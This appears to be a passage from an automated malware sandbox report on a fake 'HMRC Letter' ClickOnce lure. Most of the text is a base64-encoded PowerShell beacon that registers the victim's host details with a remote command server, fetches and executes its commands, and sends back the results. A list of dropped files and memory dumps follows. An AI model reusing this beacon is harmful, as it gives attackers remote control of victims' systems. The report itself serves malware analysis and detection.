AbAAgAHsACgAgACAAIAAgACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAQwBvAG0AbQBhAG4AZAApAAoAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQAIAA9ACAAQAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAATwB1AHQAcAB1AHQAIAA9ACAAIgAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAARQByAHIAbwByACAAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFAAUwBJAG4AcwB0AGEAbgBjAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUABvAHcAZQByAFMAaABlAGwAbABdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAHYAbwBpAGQAXQAkAFAAUwBJAG4AcwB0AGEAbgBjAGUALgBBAGQAZABTAGMAcgBpAHAAdAAoACQAQwBvAG0AbQBhAG4AZAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACAAPQAgACQAUABTAEkAbgBzAHQAYQBuAGMAZQAuAEkAbgB2AG8AawBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGkAbgBnACAAPQAgACgAJABPAHUAdABwAHUAdABDAG8AbABsAGUAYwB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAKQAuAFQAcgBpAG0AKAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AdQB0AHAAdQB0AFMAdAByAGkAbgBnACAAPQAgACIAQwBvAG0AbQBhAG4AZAAgAGUAeABlAGMAdQB0AGUAZAAgAHcAaQB0AGgAIABuAG8AIABvAHUAdABwAHUAdAAuACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAFAAUwBJAG4AcwB0AGEAbgBjAGUALgBTAHQAcgBlAGEAbQBzAC4ARQByAHIAbwByAC4AQwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEUAcgByAG8AcgBTAHQAcgBpAG4AZwAgAD0AIAAoACQAUABTAEkAbgBzAHQAYQBuAGMAZQAuAFMAdAByAGUAYQBtAHMALgBFAHIAcgBvAHIAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApAC4AVAByAGkAbQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQALgBPAHUAdABwAHUAdAAgAD0AIAAiACQATwB1AHQAcAB1AHQAUwB0AHIAaQBuAGcAYABuAFsARQBSAFIATwBSACAAUwBUAFIARQBBAE0AXQA6AGAAbgAkAEUAcgByAG8AcgBTAHQAcgBpAG4AZwAiAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFIAZQBzAHUAbAB0AE8AYgBqAGUAYwB0AC4ARQByAHIAbwByACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwB1AGwAdABPAGIAagBlAGMAdAAuAE8AdQB0AHAAdQB0ACAAPQAgACQATwB1AHQAcAB1AHQAUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABQAFMASQBuAHMAdABhAG4AYwBlAC4ARABpAHMAcABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwB1AGwAdABPAGIAagBlAGMAdAAuAE8AdQB0AHAAdQB0ACAAPQAgACIARQB4AGUAYwB1AHQAaQBvAG4AIABFAG4AZwBpAG4AZQAgAEYAYQBpAGwAZQBkADoAIAAkACgAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACkAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQATwBiAGoAZQBjAHQALgBFAHIAcgBvAHIAIAA9ACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAFIAZQBzAHUAbAB0AE8AYgBqAGUAYwB0AAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAIAA9ACAAIgBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEwAaQBiAHIAYQByAGkAZQBzAFwAQwBhAGMAaABlAGQAUwBlAHQAdABpAG4AZwBzAC4AagBzAG8AbgAiAAoAIAAgACAAIAAkAEEAZwBlAG4AdABJAEQAIAAgACAAIAA9ACAAJABuAHUAbABsAAoAIAAgACAAIAAkAEkAcwBOAGUAdwBBAGcAZQBuAHQAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAG8AbgBmAGkAZwAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEMAbwBuAGYAaQBnAC4AQQBnAGUAbgB0AEkARAAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABbAHMAdAByAGkAbgBnAF0AOgA6AEkAcwBOAHUAbABsAE8AcgBXAGgAaQB0AGUAUwBwAGEAYwBlACgAJABBAGcAZQBuAHQASQBEACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABBAGcAZQBuAHQASQBEACAAPQAgAFsARwB1AGkAZABdADoAOgBOAGUAdwBHAHUAaQBkACgAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkACgAgACAAIAAgACAAIAAgACAAJABJAHMATgBlAHcAQQBnAGUAbgB0ACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAfQAKACAAIAAgACAAJABlAHgAcABsAG8AcgBlAHIAVQBzAGUAcgAgAD0AIAAoAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQApAC4AVQBzAGUAcgBOAGEAbQBlAAoAIAAgACAAIAAkAEgAbwBzAHQAbgBhAG0AZQAgAD0AIAAkAGUAeABwAGwAbwByAGUAcgBVAHMAZQByAC4AUwBwAGwAaQB0ACgAIgBcACIAKQBbADAAXQAKACAAIAAgACAAJABVAHMAZQByAG4AYQBtAGUAIAA9ACAAJABlAHgAcABsAG8AcgBlAHIAVQBzAGUAcgAuAFMAcABsAGkAdAAoACIAXAAiACkAWwAxAF0ACgAgACAAIAAgACQATwBTAE4AYQBtAGUAIAA9ACAAWwBzAHQAcgBpAG4AZwBdACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgAKACAAIAAgACAAJABBAHIAYwBoACAAIAAgAD0AIABbAHMAdAByAGkAbgBnAF0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAC0AQwBsAGEAcwBzAE4AYQBtAGUAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgApAC4ATgBhAG0AZQAKACAAIAAgACAAJABIAGUAYQBkAGUAcgBzACAAPQAgAEAAewAKACAAIAAgACAAIAAgACAAIAAiAFgALQBBAGcAZQBuAHQALQBJAEQAIgAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIAIAA9ACAAJABVAHMAZQByAEEAZwBlAG4AdAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAEkAcwBOAGUAdwBBAGcAZQBuAHQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABJAFAAQQBkAGQAcgBlAHMAcwAgAD0AIABHAGUAdAAtAEkAUABBAGQAZAByAGUAcwBzACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACQAUgBlAGcAUABhAHkAbABvAGEAZAAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABUAHkAcABlACAAIAAgACAAIAAgAD0AIAAiAFIAZQBnAGkAcwB0AHIAYQB0AGkAbwBuACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGcAZQBuAHQASQBEACAAIAAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABIAG8AcwB0AG4AYQBtAGUAIAAgAD0AIAAkAEgAbwBzAHQAbgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFUAcwBlAHIAbgBhAG0AZQAgACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAATwBTACAAIAAgACAAIAAgACAAIAA9ACAAJABPAFMATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEEAcgBjAGgAIAAgACAAIAAgACAAPQAgACQAQQByAGMAaAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAUAAgACAAIAAgACAAIAAgACAAPQAgACQASQBQAEEAZABkAHIAZQBzAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABQAEkARAAgACAAIAAgACAAIAAgAD0AIAAkAFAASQBEAAoAIAAgACAAIAAgACAAIAAgAH0AIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACAALQBEAGUAcAB0AGgAIAAyAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwByAGUAZwBpAHMAdABlAHIAIgAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBCAG8AZAB5ACAAJABSAGUAZwBQAGEAeQBsAG8AYQBkACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgAgAC0ASABlAGEAZABlAHIAcwAgACQASABlAGEAZABlAHIAcwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAHIAZQBhAGsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgAwAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwB0AGEAdABlAEQAYQB0AGEAIAA9ACAAQAB7ACAAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEEAZwBlAG4AdABJAEQAOwAgAFIAZQBnAGkAcwB0AGUAcgBlAGQAQQB0ACAAPQAgACgARwBlAHQALQBEAGEAdABlACkAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUABhAHIAZQBuAHQARABpAHIAIAA9ACAAUwBwAGwAaQB0AC0AUABhAHQAaAAgACQAQwBvAG4AZgBpAGcAUABhAHQAaAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAFAAYQByAGUAbgB0AEQAaQByACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAFAAYQByAGUAbgB0AEQAaQByACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFMAdABhAHQAZQBEAGEAdABhACAAfAAgAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAQwBvAG4AZgBpAGcAUABhAHQAaAAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABHAGUAdAAtAEkAdABlAG0AIAAkAEMAbwBuAGYAaQBnAFAAYQB0AGgAKQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAIgBIAGkAZABkAGUAbgAiAAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABSAGUAcwBwAG8AbgBzAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwB0AGEAcwBrAHMAIgAgAC0ATQBlAHQAaABvAGQAIABHAGUAdAAgAC0ASABlAGEAZABlAHIAcwAgACQASABlAGEAZABlAHIAcwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACAAIAAgAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAUgBlAHMAcABvAG4AcwBlAC4AQwBvAG0AbQBhAG4AZAApACAALQBhAG4AZAAgACQAUgBlAHMAcABvAG4AcwBlAC4AQwBvAG0AbQBhAG4AZAAgAC0AbgBlACAAIgBOAG8ATwBwACIAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAVABhAHMAawBJAEQAIAA9ACAAJABSAGUAcwBwAG8AbgBzAGUALgBUAGEAcwBrAEkARAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABDAG0AZABTAHQAcgBpAG4AZwAgAD0AIAAkAFIAZQBzAHAAbwBuAHMAZQAuAEMAbwBtAG0AYQBuAGQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQARQB4AGUAYwBSAGUAcwB1AGwAdAAgAD0AIABJAG4AdgBvAGsAZQAtAEQAbwB0AE4AZQB0AFMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACQAQwBtAGQAUwB0AHIAaQBuAGcACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBlAHMAdQBsAHQAUABhAHkAbABvAGEAZAAgAD0AIABAAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBnAGUAbgB0AEkARAAgAD0AIAAkAEEAZwBlAG4AdABJAEQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABhAHMAawBJAEQAIAAgAD0AIAAkAFQAYQBzAGsASQBEAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBzAHUAbAB0ACAAIAA9ACAAJABFAHgAZQBjAFIAZQBzAHUAbAB0AC4ATwB1AHQAcAB1AHQACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAdAB1AHMAIAAgAD0AIABpAGYAIAAoACQARQB4AGUAYwBSAGUAcwB1AGwAdAAuAEUAcgByAG8AcgApACAAewAgACIARQByAHIAbwByACIAIAB9ACAAZQBsAHMAZQAgAHsAIAAiAEMAbwBtAHAAbABlAHQAZQBkACIAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0ARABlAHAAdABoACAANQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHIAaQAgACIAJABDADIAVQByAGwALwByAGUAcwB1AGwAdABzACIAIAAtAE0AZQB0AGgAbwBkACAAUABvAHMAdAAgAC0AQgBvAGQAeQAgACQAUgBlAHMAdQBsAHQAUABhAHkAbABvAGEAZAAgAC0AQwBvAG4AdABlAG4AdABUAHkAcABlACAAIgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwBqAHMAbwBuACIAIAAtAEgAZQBhAGQAZQByAHMAIAAkAEgAZQBhAGQAZQByAHMACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewB9AAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABKAGkAdAB0AGUAcgAgAC0AZwB0ACAAMAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQASgBpAHQAdABlAHIAVgBhAGwAIAA9ACAAJABTAGwAZQBlAHAAVABpAG0AZQAgACoAIAAoACQASgBpAHQAdABlAHIAIAAvACAAMQAwADAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUgBhAG4AZABvAG0ARABpAGYAZgAgAD0AIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgAgACgALQAxACAAKgAgACQASgBpAHQAdABlAHIAVgBhAGwAKQAgAC0ATQBhAHgAIAAkAEoAaQB0AHQAZQByAFYAYQBsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABBAGMAdAB1AGEAbABTAGwAZQBlAHAAIAA9ACAAWwBtAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAUwBsAGUAZQBwAFQAaQBtAGUAIAArACAAJABSAGEAbgBkAG8AbQBEAGkAZgBmACwAIAAyACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAQQBjAHQAdQBhAGwAUwBsAGUAZQBwACAALQBsAHQAIAAxACkAIAB7ACAAJABBAGMAdAB1AGEAbABTAGwAZQBlAHAAIAA9ACAAMQAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAQQBjAHQAdQBhAGwAUwBsAGUAZQBwACAAPQAgACQAUwBsAGUAZQBwAFQAaQBtAGUACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAEEAYwB0AHUAYQBsAFMAbABlAGUAcAAKACAAIAAgACAAfQAKAH0ACgAkAFQAYQByAGcAZQB0AEMAMgAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AGgAZQBsAG8AdgBlAG8AZgB0AGgAZQAuAGMAbwBtACIAIAAKAFMAdABhAHIAdAAtAEEAZAB2AGEAbgBjAGUAZABCAGUAYQBjAG8AbgAgAC0AQwAyAFUAcgBsACAAJABUAGEAcgBnAGUAdABDADIAIAAtAFMAbABlAGUAcABUAGkAbQBlACAAMwA1ADAAIAAtAEoAaQB0AHQAZQByACAAMgAwAA==
        3⤵
        • Badlisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        PID:5792

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        dfsvc_b03f5f7f11d50a3a_0004.0000_none_00f6b67d8e219c7d.cdf-ms
        • Path C:\Users\Admin\AppData\Local\Apps\2.0\ED0P34LD.EGJ\GCGXRHX4.POD\manifests\dfsvc_b03f5f7f11d50a3a_0004.0000_none_00f6b67d8e219c7d.cdf-ms
        • Size 2KB
        • SHA256 6ada474c0bc6b7a55717a417fc5bb89fa8c880cacea0b3b1a59bf315bb7d6f63
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        hmrc...app_0000000000000000_0001.0000_none_496f10e50bc87990.cdf-ms
        • Path C:\Users\Admin\AppData\Local\Apps\2.0\ED0P34LD.EGJ\GCGXRHX4.POD\manifests\hmrc...app_0000000000000000_0001.0000_none_496f10e50bc87990.cdf-ms
        • Size 4KB
        • SHA256 addf5ccd6bdc1463d6d502c415db7fea94f345da2ac45b3e6cb447fba3c7d187
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        hmrc...exe_0000000000000000_0001.0000_none_629d7c2df74f5a68.cdf-ms
        • Path C:\Users\Admin\AppData\Local\Apps\2.0\ED0P34LD.EGJ\GCGXRHX4.POD\manifests\hmrc...exe_0000000000000000_0001.0000_none_629d7c2df74f5a68.cdf-ms
        • Size 7KB
        • SHA256 5627246f8ed5fb88196eb36bb865cc8bc41d1c4d099d4c2d27bdde5a6dbdc332
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 13c1a5921bf7f9929fea33d7ea10c1d1b6a34ba9a0c0fb3a00dbbec50ddcd768
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 9e67e3b3d76db2e42d6c4decf7d456f4d804669568901302f0227f38b82ee85f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        8BMD10PZ.8O0.application
        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\4ZXB3BGT.138\8BMD10PZ.8O0.application
        • Size 1KB
        • SHA256 d1171b74d712640887c568eaa337a60f98e7f0fccfda7278cc2c2be2cd701905
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        HMRC Letter.exe.manifest
        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\HZ3PENKY.B1P\JNJVVXMM.ZVL\HMRC Letter.exe.manifest
        • Size 3KB
        • SHA256 ed1972394bf5f1814d049a869ade92d390580b9042890d4f69c48f63e25dd7df
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Version.dll
        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\HZ3PENKY.B1P\JNJVVXMM.ZVL\Version.dll
        • Size 4KB
        • SHA256 de1375ec847322dfc14c6f1ab1c439a6dade9f6947d2fa6f103a1ce15548ac53
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dfsvc.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\HZ3PENKY.B1P\JNJVVXMM.ZVL\dfsvc.exe
        • Size 18KB
        • SHA256 28f62cab2512a4ad30ebb621b234b6f87f0362b2ef436cd48a06c6adbb96ea1a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dfsvc.exe.config
        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\HZ3PENKY.B1P\JNJVVXMM.ZVL\dfsvc.exe.config
        • Size 292B
        • SHA256 1771ba9cf4d0e5001425c8fb36096cd45f8702944c44c0185ff14aa4829c6492
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        dfsvc.exe.genman
        • Path C:\Users\Admin\AppData\Local\Temp\Deployment\HZ3PENKY.B1P\JNJVVXMM.ZVL\dfsvc.exe.genman
        • Size 822B
        • SHA256 9a01476a107c85c7cfe24343d48659e18c31f1518a8ffdc7606b3f3ea9de6990
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_iasvmmzv.ubd.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iasvmmzv.ubd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1508-147-0x000002D7C9AC0000-0x000002D7C9AEE000-memory.dmp
        Download

        memory/1508-175-0x000002D7B0970000-0x000002D7B1314000-memory.dmp
        Download

        memory/1508-170-0x000002D7B0970000-0x000002D7B1314000-memory.dmp
        Download

        memory/1508-185-0x000002D7B0970000-0x000002D7B1314000-memory.dmp
        Download

        memory/1508-146-0x00007FFB10940000-0x00007FFB109F2000-memory.dmp
        Download

        memory/1508-162-0x000002D7C9780000-0x000002D7C978F000-memory.dmp
        Download

        memory/1508-160-0x000002D7B0970000-0x000002D7B1314000-memory.dmp
        Download

        memory/1612-139-0x000001D6B59B0000-0x000001D6B59BA000-memory.dmp
        Download

        memory/1612-129-0x000001D69B5A0000-0x000001D69B5A8000-memory.dmp
        Download

        memory/1612-128-0x000001D69B100000-0x000001D69B108000-memory.dmp
        Download

        memory/1612-134-0x000001D6B5970000-0x000001D6B5992000-memory.dmp
        Download

        memory/1612-137-0x000001D6B5DB0000-0x000001D6B5DCE000-memory.dmp
        Download

        memory/1612-138-0x000001D6B5F10000-0x000001D6B5FC2000-memory.dmp
        Download

        memory/1612-140-0x000001D6B5DF0000-0x000001D6B5E0E000-memory.dmp
        Download

        memory/5620-17-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-2-0x000001F91C870000-0x000001F91C9F8000-memory.dmp
        Download

        memory/5620-34-0x000001F91CB30000-0x000001F91CB38000-memory.dmp
        Download

        memory/5620-28-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-27-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-26-0x000001F91CCB0000-0x000001F91CD00000-memory.dmp
        Download

        memory/5620-130-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-133-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-20-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-0-0x00007FFB180CF000-0x00007FFB180D0000-memory.dmp
        Download

        memory/5620-15-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-14-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-12-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-141-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-10-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-9-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-8-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-1-0x000001F902220000-0x000001F902228000-memory.dmp
        Download

        memory/5620-40-0x000001F91CB30000-0x000001F91CB38000-memory.dmp
        Download

        memory/5620-3-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

        memory/5620-4-0x00007FFB17F40000-0x00007FFB188E4000-memory.dmp
        Download

